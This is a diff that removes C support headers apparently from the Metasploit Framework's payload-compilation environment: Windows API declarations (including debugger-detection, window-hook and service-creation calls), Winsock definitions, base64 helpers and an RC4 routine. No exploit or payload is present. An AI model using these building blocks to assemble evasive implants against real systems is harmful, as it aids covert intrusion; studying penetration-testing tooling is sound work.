WINAPI BOOL CloseHandle __attribute__((dllimport))(HANDLE);
|
||||
WINAPI void DebugBreak __attribute__((dllimport))(void);
|
||||
WINAPI HWND FindWindow __attribute__((dllimport))(LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND FindWindowEx __attribute__((dllimport))(HWND, HWND, LPCTSTR, LPCTSTR);
|
||||
WINAPI HWND GetWindow __attribute__((dllimport))(HWND, UINT);
|
||||
WINAPI HWND GetForegroundWindow __attribute__((dllimport))(void);
|
||||
WINAPI BOOL SetForegroundWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND GetDesktopWindow __attribute__((dllimport))(void);
|
||||
WINAPI HWND SetActiveWindow __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL IsWindowEnabled __attribute__((dllimport))(HWND);
|
||||
WINAPI HWND SetFocus __attribute__((dllimport))(HWND);
|
||||
WINAPI BOOL MoveWindow __attribute__((dllimport))(HWND, int, int, int, int, BOOL);
|
||||
WINAPI int MessageBox __attribute__((dllimport))(HWND, LPCTSTR, LPCTSTR, UINT);
|
||||
WINAPI BOOL Beep __attribute__((dllimport))(DWORD, DWORD);
|
||||
WINAPI BOOL CreateDirectory __attribute__((dllimport))(LPCTSTR, LPSECURITY_ATTRIBUTES);
|
||||
WINAPI HANDLE CreateFileMapping __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCTSTR);
|
||||
WINAPI LPVOID MapViewOfFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t);
|
||||
WINAPI LPVOID MapViewOfFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t, LPVOID);
|
||||
WINAPI BOOL FindClose __attribute__((dllimport))(HANDLE);
|
||||
WINAPI HANDLE FindFirstFile __attribute__((dllimport))(LPCTSTR, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE FindFirstFileEx __attribute__((dllimport))(LPCTSTR, FINDEX_INFO_LEVELS, LPVOID, FINDEX_SEARCH_OPS, LPVOID, DWORD);
|
||||
WINAPI BOOL FindNextFile __attribute__((dllimport))(HANDLE, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE GetCurrentProcess __attribute__((dllimport))(void);
|
||||
WINAPI HANDLE GetCurrentThread __attribute__((dllimport))(void);
|
||||
WINAPI LRESULT CallNextHookEx __attribute__((dllimport))(HHOOK, int, WPARAM, LPARAM);
|
||||
WINAPI BOOL GetMessage __attribute__((dllimport))(LPMSG, HWND, UINT, UINT);
|
||||
WINAPI BOOL PostMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI LRESULT SendMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI SC_HANDLE OpenSCManager __attribute__((dllimport))(LPCTSTR, LPCTSTR, DWORD);
|
||||
WINAPI BOOL StartService __attribute__((dllimport))(SC_HANDLE, DWORD, LPCTSTR*);
|
||||
WINAPI BOOL SetServiceStatus __attribute__((dllimport))(SERVICE_STATUS_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI SC_HANDLE CreateService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI SC_HANDLE OpenService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, DWORD);
|
||||
WINAPI BOOL ChangeServiceConfig __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteService __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL EnumServicesStatus __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, LPENUM_SERVICE_STATUS, DWORD, LPDWORD, LPDWORD, LPDWORD);
|
||||
WINAPI BOOL EnumServicesStatusEx __attribute__((dllimport))(SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD, LPDWORD, LPCTSTR);
|
||||
WINAPI BOOL CloseServiceHandle __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL ControlService __attribute__((dllimport))(SC_HANDLE, DWORD, LPSERVICE_STATUS);
|
||||
WINAPI BOOL GetServiceDisplayName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL GetServiceKeyName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL QueryServiceStatus __attribute__((dllimport))(SC_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI BOOL OpenClipboard __attribute__((dllimport))(HWND);
|
||||
WINAPI HANDLE SetClipboardData __attribute__((dllimport))(UINT, HANDLE);
|
||||
WINAPI HANDLE GetClipboardData __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL EmptyClipboard __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CloseClipboard __attribute__((dllimport))(void);
|
||||
WINAPI LONG RegSetValueEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, DWORD, const BYTE*, DWORD);
|
||||
WINAPI LONG RegOpenCurrentUser __attribute__((dllimport))(REGSAM, PHKEY);
|
||||
WINAPI LONG RegDeleteValue __attribute__((dllimport))(HKEY, LPCTSTR);
|
||||
WINAPI LONG RegOpenKey __attribute__((dllimport))(HKEY, LPCTSTR, PHKEY);
|
||||
WINAPI LONG RegQueryValueEx __attribute__((dllimport))(HKEY, LPCTSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
WINAPI LONG RegCloseKey __attribute__((dllimport))(HKEY);
|
||||
WINAPI LONG RegCreateKeyEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, LPTSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD);
|
||||
WINAPI HHOOK SetWindowHookEx __attribute__((dllimport))(int, HOOKPROC, HINSTANCE, DWORD);
|
||||
WINAPI BOOL UnhookWindowsHookEx __attribute__((dllimport))(HHOOK);
|
||||
WINAPI BOOL IsDebuggerPresent __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CheckRemoteDebuggerPresent __attribute__((dllimport))(HANDLE, PBOOL);
|
||||
WINAPI NTSTATUS NtQueryInformationProcess __attribute__((dllimport))(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
WINAPI void SetLastError __attribute__((dllimport))(DWORD);
|
||||
WINAPI SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler __attribute__((dllimport))(LPCSTR, LPHANDLER_FUNCTION);
|
||||
BOOL WINAPI StartServiceCtrlDispatcher __attribute__((dllimport))(LPSERVICE_TABLE_ENTRY);
|
||||
LPTSTR WINAPI GetCommandLine __attribute__((dllimport))(void);
|
||||
@@ -1,331 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define IPPROTO_IP 0
|
||||
#define IPPROTO_ICMP 1
|
||||
#define IPPROTO_IGMP 2
|
||||
#define IPPROTO_GGP 3
|
||||
#define IPPROTO_TCP 6
|
||||
#define IPPROTO_PUP 12
|
||||
#define IPPROTO_UDP 17
|
||||
#define IPPROTO_IDP 22
|
||||
#define IPPROTO_ND 77
|
||||
#define IPPROTO_RAW 255
|
||||
#define IPPROTO_MAX 256
|
||||
#define IPPORT_ECHO 7
|
||||
#define IPPORT_DISCARD 9
|
||||
#define IPPORT_SYSTAT 11
|
||||
#define IPPORT_DAYTIME 13
|
||||
#define IPPORT_NETSTAT 15
|
||||
#define IPPORT_FTP 21
|
||||
#define IPPORT_TELNET 23
|
||||
#define IPPORT_SMTP 25
|
||||
#define IPPORT_TIMESERVER 37
|
||||
#define IPPORT_NAMESERVER 42
|
||||
#define IPPORT_WHOIS 43
|
||||
#define IPPORT_MTP 57
|
||||
#define IPPORT_TFTP 69
|
||||
#define IPPORT_RJE 77
|
||||
#define IPPORT_FINGER 79
|
||||
#define IPPORT_TTYLINK 87
|
||||
#define IPPORT_SUPDUP 95
|
||||
#define IPPORT_EXECSERVER 512
|
||||
#define IPPORT_LOGINSERVER 513
|
||||
#define IPPORT_CMDSERVER 514
|
||||
#define IPPORT_EFSSERVER 520
|
||||
#define IPPORT_BIFFUDP 512
|
||||
#define IPPORT_WHOSERVER 513
|
||||
#define IPPORT_ROUTESERVER 520
|
||||
#define IPPORT_RESERVED 1024
|
||||
#define IMPLINK_IP 155
|
||||
#define IMPLINK_LOWEXPER 156
|
||||
#define IMPLINK_HIGHEXPER 158
|
||||
#define WSADESCRIPTION_LEN 256
|
||||
#define WSASYS_STATUS_LEN 128
|
||||
#define SD_RECEIVE 0x00
|
||||
#define SD_SEND 0x01
|
||||
#define SD_BOTH 0x02
|
||||
#define FD_SETSIZE 64
|
||||
#define WSA_INVALID_HANDLE 6
|
||||
#define WSA_NOT_ENOUGH_MEMORY 8
|
||||
#define WSA_INVALID_PARAMETER 87
|
||||
#define WSA_OPERATION_ABORTED 995
|
||||
#define WSA_IO_INCOMPLETE 996
|
||||
#define WSA_IO_PENDING 997
|
||||
#define WSAEINTR 10004
|
||||
#define WSAEBADF 10009
|
||||
#define WSAEACCES 10013
|
||||
#define WSAEFAULT 10014
|
||||
#define WSAEINVAL 10022
|
||||
#define WSAEMFILE 10024
|
||||
#define WSAEWOULDBLOCK 10035
|
||||
#define WSAEINPROGRESS 10036
|
||||
#define WSAEALREADY 10037
|
||||
#define WSAENOTSOCK 10038
|
||||
#define WSAEDESTADDRREQ 10039
|
||||
#define WSAEMSGSIZE 10040
|
||||
#define WSAEPROTOTYPE 10041
|
||||
#define WSAENOPROTOOPT 10042
|
||||
#define WSAEPROTONOSUPPORT 10043
|
||||
#define WSAESOCKTNOSUPPORT 10044
|
||||
#define WSAEOPNOTSUPP 10045
|
||||
#define WSAEPFNOSUPPORT 10046
|
||||
#define WSAEAFNOSUPPORT 10047
|
||||
#define WSAEADDRINUSE 10048
|
||||
#define WSAEADDRNOTAVAIL 10049
|
||||
#define WSAENETDOWN 10050
|
||||
#define WSAENETUNREACH 10051
|
||||
#define WSAENETRESET 10052
|
||||
#define WSAECONNABORTED 10053
|
||||
#define WSAECONNRESET 10054
|
||||
#define WSAENOBUFS 10055
|
||||
#define WSAEISCONN 10056
|
||||
#define WSAENOTCONN 10057
|
||||
#define WSAESHUTDOWN 10058
|
||||
#define WSAETOOMANYREFS 10059
|
||||
#define WSAETIMEDOUT 10060
|
||||
#define WSAECONNREFUSED 10061
|
||||
#define WSAELOOP 10062
|
||||
#define WSAENAMETOOLONG 10063
|
||||
#define WSAEHOSTDOWN 10064
|
||||
#define WSAEHOSTUNREACH 10065
|
||||
#define WSAENOTEMPTY 10066
|
||||
#define WSAEPROCLIM 10067
|
||||
#define WSAEUSERS 10068
|
||||
#define WSAEDQUOT 10069
|
||||
#define WSAESTALE 10070
|
||||
#define WSAEREMOTE 10071
|
||||
#define WSASYSNOTREADY 10091
|
||||
#define WSAVERNOTSUPPORTED 10092
|
||||
#define WSANOTINITIALISED 10093
|
||||
#define WSAEDISCON 10101
|
||||
#define WSAENOMORE 10102
|
||||
#define WSAECANCELLED 10103
|
||||
#define WSAEINVALIDPROCTABLE 10104
|
||||
#define WSAEINVALIDPROVIDER 10105
|
||||
#define WSAEPROVIDERFAILEDINIT 10106
|
||||
#define WSASYSCALLFAILURE 10107
|
||||
#define WSASERVICE_NOT_FOUND 10108
|
||||
#define WSATYPE_NOT_FOUND 10109
|
||||
#define WSA_E_NO_MORE 10110
|
||||
#define WSA_E_CANCELLED 10111
|
||||
#define WSAEREFUSED 10112
|
||||
#define WSAHOST_NOT_FOUND 11001
|
||||
#define WSATRY_AGAIN 11002
|
||||
#define WSANO_RECOVERY 11003
|
||||
#define WSANO_DATA 11004
|
||||
#define WSA_QOS_RECEIVERS 11005
|
||||
#define WSA_QOS_SENDERS 11006
|
||||
#define WSA_QOS_NO_SENDERS 11007
|
||||
#define WSA_QOS_NO_RECEIVERS 11008
|
||||
#define WSA_QOS_REQUEST_CONFIRMED 11009
|
||||
#define WSA_QOS_ADMISSION_FAILURE 11010
|
||||
#define WSA_QOS_POLICY_FAILURE 11011
|
||||
#define WSA_QOS_BAD_STYLE 11012
|
||||
#define WSA_QOS_BAD_OBJECT 11013
|
||||
#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014
|
||||
#define WSA_QOS_GENERIC_ERROR 11015
|
||||
#define WSA_QOS_ESERVICETYPE 11016
|
||||
#define WSA_QOS_EFLOWSPEC 11017
|
||||
#define WSA_QOS_EPROVSPECBUF 11018
|
||||
#define WSA_QOS_EFILTERSTYLE 11019
|
||||
#define WSA_QOS_EFILTERTYPE 11020
|
||||
#define WSA_QOS_EFILTERCOUNT 11021
|
||||
#define WSA_QOS_EOBJLENGTH 11022
|
||||
#define WSA_QOS_EFLOWCOUNT 11023
|
||||
#define WSA_QOS_EUNKOWNPSOBJ 11024
|
||||
#define WSA_QOS_EPOLICYOBJ 11025
|
||||
#define WSA_QOS_EFLOWDESC 11026
|
||||
#define WSA_QOS_EPSFLOWSPEC 11027
|
||||
#define WSA_QOS_EPSFILTERSPEC 11028
|
||||
#define WSA_QOS_ESDMODEOBJ 11029
|
||||
#define WSA_QOS_ESHAPERATEOBJ 11030
|
||||
#define WSA_QOS_RESERVED_PETYPE 11031
|
||||
#define AF_UNSPEC 0
|
||||
#define AF_INET 2
|
||||
#define AF_IPX 6
|
||||
#define AF_APPLETALK 16
|
||||
#define AF_NETBIOS 17
|
||||
#define AF_INET6 23
|
||||
#define AF_IRDA 26
|
||||
#define AF_BTH 32
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
#define SOCK_RAW 3
|
||||
#define SOCK_RDM 4
|
||||
#define SOCK_SEQPACKET 5
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
#define SOCKET_ERROR (-1)
|
||||
#define AI_PASSIVE 0x00000001
|
||||
#define AI_CANONNAME 0x00000002
|
||||
#define AI_NUMERICHOST 0x00000004
|
||||
#define AI_NUMERICSERV 0x00000008
|
||||
#define AI_ALL 0x00000100
|
||||
#define AI_ADDRCONFIG 0x00000400
|
||||
#define AI_V4MAPPED 0x00000800
|
||||
#define AI_NON_AUTHORITATIVE 0x00004000
|
||||
#define AI_SECURE 0x00008000
|
||||
#define AI_RETURN_PREFERRED_NAMES 0x00010000
|
||||
#define AI_FQDN 0x00020000
|
||||
#define AI_FILESERVER 0x00040000
|
||||
#define MAX_PROTOCOL_CHAIN 7
|
||||
#define WSAPROTOCOL_LEN 255
|
||||
#define SOMAXCONN 0x7fffffff
|
||||
|
||||
typedef unsigned char u_char;
|
||||
typedef unsigned short u_short;
|
||||
typedef unsigned int u_int;
|
||||
typedef unsigned long u_long;
|
||||
typedef u_int SOCKET;
|
||||
typedef unsigned int GROUP;
|
||||
typedef ULONG SERVICETYPE;
|
||||
|
||||
struct sockaddr {
|
||||
u_short sa_family;
|
||||
char sa_data[14];
|
||||
} SOCKADDR;
|
||||
|
||||
typedef struct WSAData {
|
||||
WORD wVersion;
|
||||
WORD wHighVersion;
|
||||
char szDescription[WSADESCRIPTION_LEN+1];
|
||||
char szSystemStatus[WSASYS_STATUS_LEN+1];
|
||||
unsigned short iMaxSockets;
|
||||
unsigned short iMaxUdpDg;
|
||||
char *lpVendorInfo;
|
||||
} WSADATA, *LPWSADATA;
|
||||
|
||||
typedef struct addrinfo {
|
||||
int ai_flags;
|
||||
int ai_family;
|
||||
int ai_socktype;
|
||||
int ai_protocol;
|
||||
size_t ai_addrlen;
|
||||
char *ai_canonname;
|
||||
struct sockaddr *ai_addr;
|
||||
struct addrinfo *ai_next;
|
||||
} ADDRINFOA, *PADDRINFOA;
|
||||
|
||||
typedef struct fd_set {
|
||||
u_int fd_count;
|
||||
SOCKET fd_array[FD_SETSIZE];
|
||||
} fd_set;
|
||||
|
||||
typedef struct in_addr {
|
||||
union {
|
||||
struct {
|
||||
u_char s_b1,s_b2,s_b3,s_b4;
|
||||
} S_un_b;
|
||||
struct {
|
||||
u_short s_w1,s_w2;
|
||||
} S_un_w;
|
||||
u_long S_addr;
|
||||
} S_un;
|
||||
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
|
||||
|
||||
struct sockaddr_in {
|
||||
short sin_family;
|
||||
u_short sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
struct sockproto {
|
||||
u_short sp_family;
|
||||
u_short sp_protocol;
|
||||
};
|
||||
|
||||
typedef struct hostent {
|
||||
char *h_name;
|
||||
char **h_aliases;
|
||||
short h_addrtype;
|
||||
short h_length;
|
||||
char **h_addr_list;
|
||||
} HOSTENT, *PHOSTENT, *LPHOSTENT;
|
||||
|
||||
typedef struct _WSAPROTOCOLCHAIN {
|
||||
int ChainLen;
|
||||
DWORD ChainEntries[MAX_PROTOCOL_CHAIN];
|
||||
} WSAPROTOCOLCHAIN, *LPWSAPROTOCOLCHAIN;
|
||||
|
||||
typedef struct _WSAPROTOCOL_INFO {
|
||||
DWORD dwServiceFlags1;
|
||||
DWORD dwServiceFlags2;
|
||||
DWORD dwServiceFlags3;
|
||||
DWORD dwServiceFlags4;
|
||||
DWORD dwProviderFlags;
|
||||
GUID ProviderId;
|
||||
DWORD dwCatalogEntryId;
|
||||
WSAPROTOCOLCHAIN ProtocolChain;
|
||||
int iVersion;
|
||||
int iAddressFamily;
|
||||
int iMaxSockAddr;
|
||||
int iMinSockAddr;
|
||||
int iSocketType;
|
||||
int iProtocol;
|
||||
int iProtocolMaxOffset;
|
||||
int iNetworkByteOrder;
|
||||
int iSecurityScheme;
|
||||
DWORD dwMessageSize;
|
||||
DWORD dwProviderReserved;
|
||||
TCHAR szProtocol[WSAPROTOCOL_LEN+1];
|
||||
} WSAPROTOCOL_INFO, *LPWSAPROTOCOL_INFO;
|
||||
|
||||
typedef struct _WSABUF
|
||||
{
|
||||
ULONG len;
|
||||
CHAR* buf;
|
||||
} WSABUF, *LPWSABUF;
|
||||
|
||||
typedef struct _FLOWSPEC {
|
||||
unsigned int TokenRate;
|
||||
unsigned int TokenBucketSize;
|
||||
unsigned int PeakBandwidth;
|
||||
unsigned int Latency;
|
||||
unsigned int DelayVariation;
|
||||
SERVICETYPE ServiceType;
|
||||
unsigned int MaxSduSize;
|
||||
unsigned int MinimumPolicedSize;
|
||||
} FLOWSPEC, *PFLOWSPEC, *LPFLOWSPEC;
|
||||
|
||||
typedef struct _QUALITYOFSERVICE {
|
||||
FLOWSPEC SendingFlowspec;
|
||||
FLOWSPEC ReceivingFlowspec;
|
||||
WSABUF ProviderSpecific;
|
||||
} QOS, *LPQOS;
|
||||
|
||||
typedef int (CALLBACK *LPCONDITIONPROC)(LPWSABUF, LPWSABUF, LPQOS, LPQOS, LPWSABUF, LPWSABUF, GROUP *, DWORD);
|
||||
typedef struct sockaddr_in SOCKADDR_IN;
|
||||
typedef struct sockaddr_in *PSOCKADDR_IN;
|
||||
typedef struct sockaddr_in *LPSOCKADDR_IN;
|
||||
|
||||
WINAPI int WSAStartup __attribute__((dllimport))(WORD, LPWSADATA);
|
||||
WINAPI int WSACleanup __attribute__((dllimport))();
|
||||
WINAPI int getaddrinfo __attribute__((dllimport))(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*);
|
||||
WINAPI SOCKET socket __attribute__((dllimport))(int, int, int);
|
||||
WINAPI void freeaddrinfo __attribute__((dllimport))(struct addrinfo*);
|
||||
WINAPI int closesocket __attribute__((dllimport))(SOCKET);
|
||||
WINAPI int bind __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI SOCKET accept __attribute__((dllimport))(SOCKET, struct sockaddr*, int*);
|
||||
WINAPI BOOL AcceptEx __attribute__((dllimport))(SOCKET, SOCKET, PVOID, DWORD, DWORD, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI int connect __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI int gethostname __attribute__((dllimport))(char*, int);
|
||||
WINAPI int listen __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI int recv __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int recvfrom __attribute__((dllimport))(SOCKET, char*, int, int, struct sockaddr*, int*);
|
||||
WINAPI int send __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int sendto __attribute__((dllimport))(SOCKET, char*, int, int, const struct sockaddr*, int);
|
||||
WINAPI int select __attribute__((dllimport))(int, fd_set*, fd_set*, fd_set*, const struct timeval*);
|
||||
WINAPI int setsockopt __attribute__((dllimport))(SOCKET, int, int, const char*, int);
|
||||
WINAPI char* inet_ntoa __attribute__((dllimport))(struct in_addr);
|
||||
WINAPI unsigned long inet_addr __attribute__((dllimport))(const char*);
|
||||
WINAPI int shutdown __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI u_short htons __attribute__((dllimport))(u_short);
|
||||
WINAPI u_long htonl __attribute__((dllimport))(u_long);
|
||||
WINAPI struct hostent* gethostbyname __attribute__((dllimport))(const char*);
|
||||
WINAPI struct hostent* gethostbyaddr __attribute__((dllimport))(const char*, int, int);
|
||||
WINAPI int WSAGetLastError __attribute__((dllimport))();
|
||||
WINAPI SOCKET WSASocket __attribute__((dllimport))(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
|
||||
WINAPI SOCKET WSAAccept __attribute__((dllimport))(SOCKET, struct sockaddr*, LPINT, LPCONDITIONPROC, DWORD_PTR);
|
||||
@@ -1,114 +0,0 @@
|
||||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,128 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
#define WINAPI __stdcall
|
||||
#define APIENTRY WINAPI
|
||||
#define BUFSIZ 512
|
||||
#define _INTERNAL_BUFSIZ 4096
|
||||
#define _SMALL_BUFSIZ 512
|
||||
#define _NSTREAM_ 512
|
||||
#define _IOB_ENTRIES 20
|
||||
#define RAND_MAX 0x7fff
|
||||
#define EOF (-1)
|
||||
#define SEEK_CUR 1
|
||||
#define SEEK_END 2
|
||||
#define SEEK_SET 0
|
||||
#define FILENAME_MAX 260
|
||||
#define FOPEN_MAX 20
|
||||
#define _SYS_OPEN 20
|
||||
#define _TMP_MAX_S 2147483647
|
||||
#define stdin (&__iob_func()[0])
|
||||
#define stdout (&__iob_func()[1])
|
||||
#define stderr (&__iob_func()[2])
|
||||
#define _IOREAD 0x0001
|
||||
#define _IOWRT 0x0002
|
||||
#define _IOFBF 0x0000
|
||||
#define _IOLBF 0x0040
|
||||
#define _IONBF 0x0004
|
||||
#define _IOMYBUF 0x0008
|
||||
#define _IOEOF 0x0010
|
||||
#define _IOERR 0x0020
|
||||
#define _IOSTRG 0x0040
|
||||
#define _IORW 0x0080
|
||||
#define _TWO_DIGIT_EXPONENT 0x1
|
||||
#define DLL_PROCESS_ATTACH 1
|
||||
#define DLL_PROCESS_DETACH 0
|
||||
#define DLL_THREAD_ATTACH 2
|
||||
#define DLL_THREAD_DETACH 3
|
||||
|
||||
typedef char CHAR;
|
||||
typedef CHAR* PCHAR;
|
||||
typedef const char* LPCTSTR;
|
||||
typedef const char* LPCSTR;
|
||||
typedef const CHAR* PCSTR;
|
||||
typedef char* LPSTR;
|
||||
typedef char* LPTSTR;
|
||||
typedef CHAR* PSTR;
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned int DWORD32;
|
||||
typedef WORD* LPWORD;
|
||||
typedef long HRESULT;
|
||||
typedef long LONG;
|
||||
typedef float FLOAT;
|
||||
typedef DWORD COLORREF;
|
||||
typedef WORD ATOM;
|
||||
typedef BYTE BOOLEAN;
|
||||
typedef void* HANDLE;
|
||||
typedef HANDLE SC_HANDLE;
|
||||
typedef HANDLE HINSTANCE;
|
||||
typedef HINSTANCE HMODULE;
|
||||
typedef HANDLE HHOOK;
|
||||
typedef HANDLE HCONV;
|
||||
typedef HANDLE HCONFLIST;
|
||||
typedef HANDLE HFONT;
|
||||
typedef HANDLE HGLOBAL;
|
||||
